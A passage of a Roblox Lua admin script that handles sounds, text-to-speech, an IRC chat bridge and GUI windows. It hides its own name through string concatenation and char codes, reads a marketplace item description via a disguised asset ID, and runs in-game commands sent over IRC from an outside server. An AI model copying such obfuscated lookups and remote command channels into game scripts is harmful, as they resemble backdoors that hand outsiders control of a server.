3317 if SoundID == 131201443 then Pitch = -1 end
3318 if SoundID == 130775695 then Pitch = 0.8 end
3319 if SoundID == 144035866 then Pitch = 0.8 end
3320
3321 local SoundParent = Server.Workspace
3322 if IsSB then
3323 SoundParent = Instance.new("Script", Workspace)
3324 SoundParent.Name = "M".."ML'S Admin Sound"
3325 end
3326 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3327 Sound.Name = "MML's Admin Sound "..SoundID
3328 Sound:Play()
3329 if ShowInfo == true then
3330 for _,Player in pairs(Server.Players:GetPlayers()) do
3331 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3332 end
3333 end
3334 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3335 end
3336end
3337
3338function SOUND:ConvertText(Text)
3339 Text = string.lower(tostring(Text))
3340 local Letters = {}
3341 local IDs = {}
3342 for Rule,Replace in pairs(TextConverter.Pronounce) do
3343 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3344 end
3345 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3346 local Start, End = string.find(Text, string.lower(Rule))
3347
3348 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3349 Text = string.gsub(Text, string.lower(Rule), Replace)
3350 end
3351 end
3352 for i = 1,#Text do
3353 table.insert(Letters, string.sub(Text,i,i))
3354 end
3355 for Num = 1,#Letters do
3356 if not Letters[Num] then break end
3357 local Letter = Letters[Num]
3358
3359 local function AddLetter()
3360 table.insert(IDs, TextConverter.LetterSounds[Letter])
3361 end
3362
3363 if Letter ~= "~" then
3364 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3365 table.insert(IDs, TextConverter.LetterSounds["oo"])
3366 table.remove(Letters, Num + 1)
3367 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3368 table.insert(IDs, TextConverter.LetterSounds["oo"])
3369 table.remove(Letters, Num + 1)
3370 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3371 table.insert(IDs, TextConverter.LetterSounds["th"])
3372 table.remove(Letters, Num + 1)
3373 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3374 table.insert(IDs, TextConverter.LetterSounds["sh"])
3375 table.remove(Letters, Num + 1)
3376 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3377 table.insert(IDs, TextConverter.LongVowels["e"])
3378 table.remove(Letters, Num + 1)
3379 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3380 table.insert(IDs, TextConverter.LetterSounds["wh"])
3381 table.remove(Letters, Num + 1)
3382 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3383 table.insert(IDs, TextConverter.LetterSounds["ch"])
3384 table.remove(Letters, Num + 1)
3385 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3386 table.insert(IDs, TextConverter.LetterSounds["f"])
3387 table.remove(Letters, Num + 1)
3388 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3389 table.insert(IDs, TextConverter.LetterSounds[Num])
3390 Letters[Num + 1] = "j"
3391 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3392 table.insert(IDs, TextConverter.LetterSounds["oo"])
3393 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3394 table.insert(IDs, TextConverter.LongVowels["e"])
3395 table.remove(Letters, Num + 1)
3396 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3397 table.insert(IDs, TextConverter.LongVowels["e"])
3398 table.remove(Letters, Num + 1)
3399 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3400 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3401 table.insert(IDs, TextConverter.LetterSounds["s"])
3402 Letters[Num + 1] = "~"
3403 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3404 table.insert(IDs, TextConverter.LongVowels[Letter])
3405 Letters[Num + 2] = "~"
3406 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3407 table.insert(IDs, TextConverter.LongVowels["i"])
3408 Letters[Num + 1] = "~"
3409 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3410 table.insert(IDs, TextConverter.LongVowels["o"])
3411 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3412 table.insert(IDs, TextConverter.LongVowels["i"])
3413 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3414 AddLetter()
3415 table.remove(Letters, Num + 1)
3416 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3417 Letters[Num] = "~"
3418 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3419 AddLetter()
3420 table.remove(Letters, Num + 1)
3421 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3422 AddLetter()
3423 table.remove(Letters, Num + 1)
3424 elseif Letters[Num+1] == Letter then
3425 table.remove(Letters, Num)
3426 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3427 AddLetter()
3428 table.remove(Letters, Num)
3429 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3430 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3431 elseif TextConverter.LetterSounds[Letter] then
3432 AddLetter()
3433 elseif STRING:IsSpacer(Letter) then
3434 table.insert(IDs, "Rest")
3435 end
3436 end
3437 end
3438
3439 return IDs
3440end
3441
3442function SOUND:StopSpeaking() coroutine.wrap(function()
3443 NoSpeak = true
3444 wait(1)
3445 NoSpeak = false
3446 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3447 if Obj.Name == "M".."M".."L Speak Sound" then
3448 Obj:Destroy()
3449 end
3450 end
3451end)() end
3452
3453function SOUND:SayConvertedText(IDs, Parent)
3454 if not Parent then Parent = Server.Workspace end
3455 local Sounds = {}
3456 for _,Data in pairs(IDs) do
3457 if NoSpeak and Parent == Server.Workspace then
3458 break
3459 end
3460 local Length = 0.3
3461 if Data ~= "Rest" then
3462 local ID = Data[1]
3463 Length = Data[2]
3464
3465 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3466 Sound.Name = "MML Speak Sound"
3467 table.insert(Sounds, Sound)
3468 Sound:Play()
3469 if Length then
3470 coroutine.wrap(function()
3471 wait(Length)
3472 Sound:Stop()
3473 end)()
3474 end
3475 end
3476 if not Length then Length = 0.3 end
3477 wait(Length/2)
3478 end
3479 coroutine.wrap(function()
3480 wait(1)
3481 for _,Sound in pairs(Sounds) do
3482 Sound:Destroy()
3483 end
3484 end)()
3485end
3486
3487local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3488
3489function SOUND:BeepPlayer(Player)
3490 if Player:FindFirstChild("PlayerGui") then
3491 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3492 Beep.Name = "Annoy"
3493 Beep:Play()
3494 end
3495end
3496
3497function SOUND:ClearInfo()
3498 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3499end
3500
3501-- IRC functions --
3502
3503function IRC:GenerateName()
3504 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3505end
3506
3507function IRC:AddChat(Name, Data, IsError)
3508 if not IsError then IsError = false end
3509 CORE:Log(IRC.Logs, Name, Data)
3510 table.insert(IRC.Chats, {Name, Data, IsError})
3511 IRC.MessageAdded:Fire(Name, Data, IsError)
3512end
3513
3514function IRC:Post(URL,Data)
3515 if Data and Data ~= "" then
3516 local Suc,Resp = ypcall(function()
3517 return Server.HS:PostAsync(
3518 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3519 Data,
3520 Enum.HttpContentType.ApplicationUrlEncoded
3521 )
3522 end)
3523 if not Suc then
3524 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3525 return false
3526 end
3527 IRC.SessionCounter = IRC.SessionCounter + 1
3528 return Resp
3529 else
3530 IRC:AddChat("[ CLIENT ]", "Unknown error")
3531 end
3532end
3533
3534function IRC:Send(Data)
3535 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3536end
3537
3538function IRC:GetData()
3539 return IRC:Post("s","&s="..IRC.SessionID)
3540end
3541
3542function IRC:Connect()
3543 return IRC:Post("n","&nick="..IRC.NickName)
3544end
3545
3546function IRC:Join(Channel)
3547 if not Channel then
3548 AddChat("[ CLIENT ]", "No channel specified!")
3549 return false
3550 else
3551 local Channel = string.lower(Channel)
3552 if string.sub(Channel,1,1) ~= "#" then
3553 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3554 return false
3555 end
3556 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3557 IRC:Send("JOIN "..Channel)
3558 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3559 return true
3560 end
3561end
3562
3563function IRC:Pong(Data)
3564 return IRC:Send("PONG :"..Data)
3565end
3566
3567function IRC:Quit(Reason)
3568 IRC.Stop = true
3569 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3570end
3571
3572function IRC:ReceiveData()
3573 IRC.Stop = false
3574 local Data = IRC:GetData()
3575 if Data then
3576 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3577 end
3578 while Data and not Stop do
3579 local Data = IRC:GetData()
3580 if Data and #Data > 0 then
3581 IRC:HandleResponse(REMOTE:Decode(Data))
3582 end
3583 wait(2) -- Don't spam the server
3584 end
3585 if not Data then
3586 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3587 end
3588 if Stop == true then
3589 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3590 end
3591end
3592
3593function IRC:ConnectToServer(Server)
3594 if Connected then
3595 if not IRC.Servers[Server] then
3596 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3597 return false
3598 end
3599 IRC:Quit("New Connection")
3600 end
3601 local Response = IRC:Connect()
3602 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3603 local Data = REMOTE:Decode(Response)
3604 IRC.SessionID = Data[2]
3605 wait(1)
3606 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3607 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3608 IRC:Quit()
3609 IRC:ConnectToServer(Server)
3610 end
3611 IRC.Connected = true
3612 IRC:Join(Settings.IRCChannel)
3613 IRC:ReceiveData()
3614 IRC.Connected = false
3615 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3616end
3617
3618function IRC:FindUser(UserName)
3619 for UserID,User in pairs(IRC.Users) do
3620 if string.lower(User) == string.lower(UserName) then
3621 return UserID
3622 end
3623 end
3624 return nil
3625end
3626
3627function IRC:HandleResponse(Data)
3628 if type(Data) ~= "table" then
3629 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3630 ypcall(function()
3631 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3632 end)
3633 return false
3634 end
3635 for _,Output in pairs(Data) do
3636 if type(Output) == "table" and Output[2] then
3637 local ID = string.upper(Output[2])
3638 if not IRC.Ignore[ID] then
3639 if ID == "PING" then
3640 IRC:Pong(Output[4][1])
3641 elseif ID == "PRIVMSG" then
3642 local SenderDetails = Output[3]
3643 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3644 local Channel = string.lower(Output[4][1])
3645 if Channel == IRC.NickName then
3646 Channel = Sender
3647 -- TODO: Handle PM's
3648 end
3649 local Message = Output[4][2]
3650 if Message ~= nil then
3651 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3652 if string.find(Message,":") then
3653 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3654 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3655 IRC:AddChat(IRCUser, IRCMessage)
3656 end
3657 else
3658 IRC:AddChat("[ IRC ] "..Sender,Message)
3659 for _,Name in pairs(Settings.IRCCommandExecuters) do
3660 if string.lower(Name) == string.lower(Sender) then
3661 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3662 break
3663 end
3664 end
3665 end
3666 else
3667 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3668 end
3669 elseif ID == "NICK" then
3670 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3671 -- change nickname?
3672 elseif ID == "433" or ID == "451" then
3673 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3674 IRC:Quit("Nickname in use, rejoining with new name")
3675 IRC.NickName = IRC:GenerateName()
3676 wait(2) -- wait for old sessions to end
3677 IRC:ConnectToServer(Settings.IRCServer)
3678 elseif ID == "353" then
3679 if Data[4][4][4] then
3680 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3681 table.insert(IRC.Users, Output)
3682 end
3683 end
3684 elseif ID == "QUIT" or ID == "PART" then
3685 for User in string.gmatch(Data[1][3], "[^!~]+") do
3686 if IRC:FindUser(User) then
3687 IRC:AddChat("[ IRC ]", User.." has left")
3688 table.remove(IRC.Users, IRC:FindUser(User))
3689 end
3690 end
3691 elseif ID == "JOIN" then
3692 for User in string.gmatch(Data[1][3], "[^!~]+") do
3693 if not string.find(User, "qwebirc") then
3694 IRC:AddChat("[ IRC ]", User.." has joined")
3695 table.insert(IRC.Users,w)
3696 end
3697 end
3698 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3699 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3700 --IRC:Quit("Connection lost")
3701 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3702 --IRC:ConnectToServer(Settings.IRCServer)
3703 elseif IRC.Codes[ID] then
3704 --print(ID)
3705 --print(Data[i][4][2])
3706 --print(Data[i][4][2])
3707 elseif ID == "KICK" then
3708 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3709 IRC:Quit("Kicked from IRC")
3710 elseif ID then
3711 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3712 else
3713 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3714 end
3715 end
3716 else
3717 if Output == false then return false end -- sneeky server
3718 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3719 end
3720 end
3721end
3722
3723-- GUI functions --
3724
3725function GUI:GetColor(ColorName)
3726 if not ColorName then ColorName = Settings.ColorScheme end
3727 return Colors[string.upper(ColorName)]
3728end
3729
3730function GUI:ContrastColor(Color)
3731 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3732 if not Color then Color = GUI:GetColor() end
3733 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3734end
3735
3736
3737function GUI:GetNameColor(Name)
3738 local Val = 0
3739 for i = 1, #Name do
3740 local CVal = string.byte(string.sub(Name, i, i))
3741 local RevIndex = #Name - i + 1
3742 if #Name%2 == 1 then
3743 RevIndex = RevIndex - 1
3744 end
3745 if RevIndex%4 >= 2 then
3746 CVal = -CVal
3747 end
3748 Val = Val + CVal
3749 end
3750 local Index = Val%8 + 1
3751
3752 return BrickColor.new(ChatColors[Index])
3753end
3754
3755function GUI:Color3ToHex(Color)
3756 local function ConvertNumber(Number)
3757 local HexString = "0123456789abcdef"
3758 local Byte = ""
3759 while Number > 0 do
3760 local Calc = math.fmod(Number, 16)
3761 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3762 Number = math.floor(Number / 16)
3763 end
3764 if Calc == "" then
3765 Byte = "00"
3766 elseif #Byte == 1 then
3767 Byte = "0"..Byte
3768 elseif Byte == "" then
3769 Byte = "00"
3770 end
3771 return Byte
3772 end
3773 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3774end
3775
3776function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3777 if not Player then return nil end
3778 if not Player:FindFirstChild("PlayerGui") then return nil end
3779 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3780 if not TitleText then TitleText = "Unknown" end
3781 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3782 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3783 if not IconID then IconID = 19919809 end
3784 if ShowFormButtons == nil then ShowFormButtons = true end
3785 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3786 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3787 if AutoOffset == nil then AutoOffset = true end
3788 if Icons[IconID] then IconID = Icons[IconID] end
3789 if TweenPosition == nil then TweenPosition = true end
3790 if NoModal == nil then NoModal = false end
3791 if NoScrollFrame == nil then NoScrollFrame = false end
3792
3793 local IsClosed = false
3794 local Minus = nil
3795 local Offset = 0
3796 local ContentType = "ScrollingFrame"
3797 local TweenSpeed = 0.3
3798
3799 if AutoOffset then
3800 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3801 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3802 if Item.IsActive.Value == true then
3803 if Item.IsTrueForm.Value == true then
3804 Offset = Offset + 50
3805 end
3806 end
3807 end
3808 end
3809 end
3810
3811 if NoScrollFrame == true then
3812 ContentType = "Frame"
3813 end
3814
3815 SOUND:PlayNotification(Player, 155331654)
3816
3817 local Position = Position + UDim2.new(0,Offset,0,Offset)
3818 local MinimizePos = Position
3819
3820 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3821 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3822 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3823
3824 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3825 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3826 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3827 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3828 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3829 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3830 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3831 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3832 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3833
3834 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3835 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3836 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3837 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3838 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3839
3840 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3841
3842 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3843
3844 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3845 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3846 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3847 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3848 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3849 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3850
3851 if Settings.EnableTaskBar then
3852 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3853 else
3854 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3855 Title.Size = UDim2.new(1, -95, 0, 25)
3856 end
3857
3858 if not ShowFormButtons then
3859 X:Destroy()
3860 TitleEnd:Destroy()
3861 Title.Size = UDim2.new(1, -55, 0, 25)
3862 end
3863
3864 local function CloseForm()
3865 if IsClosed == false then
3866 IsActive.Value = false
3867 IsClosed = true
3868 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end)
3869 Closed:Fire()
3870 SOUND:PlayNotification(Player, 206375138)
3871 end
3872 end
3873
3874 local function MinimizeForm()
3875 if IsActive.Value == true then
3876 IsActive.Value = false
3877 Minimized:Fire()
3878 MinimizePos = Dragger.Position
3879 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3880 end
3881 end
3882
3883 local function RestoreForm()
3884 if IsActive.Value == false then
3885 IsActive.Value = true
3886 Restored:Fire()
3887 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3888 end
3889 end
3890
3891 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3892 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3893
3894 Close.OnInvoke = CloseForm
3895 Minimize.OnInvoke = MinimizeForm
3896 Restore.OnInvoke = RestoreForm
3897
3898 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3899
3900 if TaskBar then
3901 TaskBar:WaitForChild("AddForm")
3902 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3903 end
3904
3905 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3906end
3907
3908function GUI:CoreGui(Player, Type, Enable)
3909 local Parent = Player:FindFirstChild("Backpack")
3910 if not Parent then Parent = Player.Backpack end
3911 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
3912end
3913
3914function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
3915 if not Player or not Player:IsA("Player") then return nil end
3916 if BodyText == "" then return nil end
3917 if not Player:FindFirstChild("PlayerGui") then return nil end
3918
3919 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
3920 local TextColor = GUI:GetColor(MessageSplit[1])
3921 if TextColor then BodyText = MessageSplit[2] end
3922 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3923
3924 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
3925 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
3926
3927 if Frame then
3928 local FormBar = Frame.Parent.Parent.FormBar
3929 local Said = false
3930 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
3931 if Settings.EnableTaskBar then
3932 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
3933 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
3934 else
3935 Speak.Position = UDim2.new(1, -58, 0, 5)
3936 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
3937 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
3938 end
3939 CORE:HandleEvent(Speak, "MouseButton1Down", function()
3940 if not Said then
3941 Said = true
3942 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
3943 end
3944 end)
3945
3946 if TextColor then
3947 Body.TextColor3 = TextColor
3948 else
3949 Body.TextColor3 = Color3.new(1,1,1)
3950 end
3951
3952 if tonumber(Time) then coroutine.wrap(function()
3953 if AutoTime then
3954 Time = Time + math.floor(#BodyText/7)
3955 end
3956 local Alive = true
3957
3958 local function StopTimer() Alive = false end
3959 Closed.Event:connect(StopTimer)
3960 Minimized.Event:connect(StopTimer)
3961
3962 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3963 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3964 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
3965 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
3966 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
3967 for i = Time,0,-1 do
3968 for ii = 1,10 do
3969 if Alive == true then
3970 Ticker.Text = i
3971 wait(0.1)
3972 else
3973 break
3974 end
3975 end
3976 end
3977 if Alive == true then
3978 Close:Invoke()
3979 else
3980 Ticker:Destroy()
3981 Stop:Destroy()
3982 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
3983 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
3984 end
3985 end)() end
3986
3987 CORE:ExecuteResource("CalculateScrollY", Body)
3988 end
3989end
3990
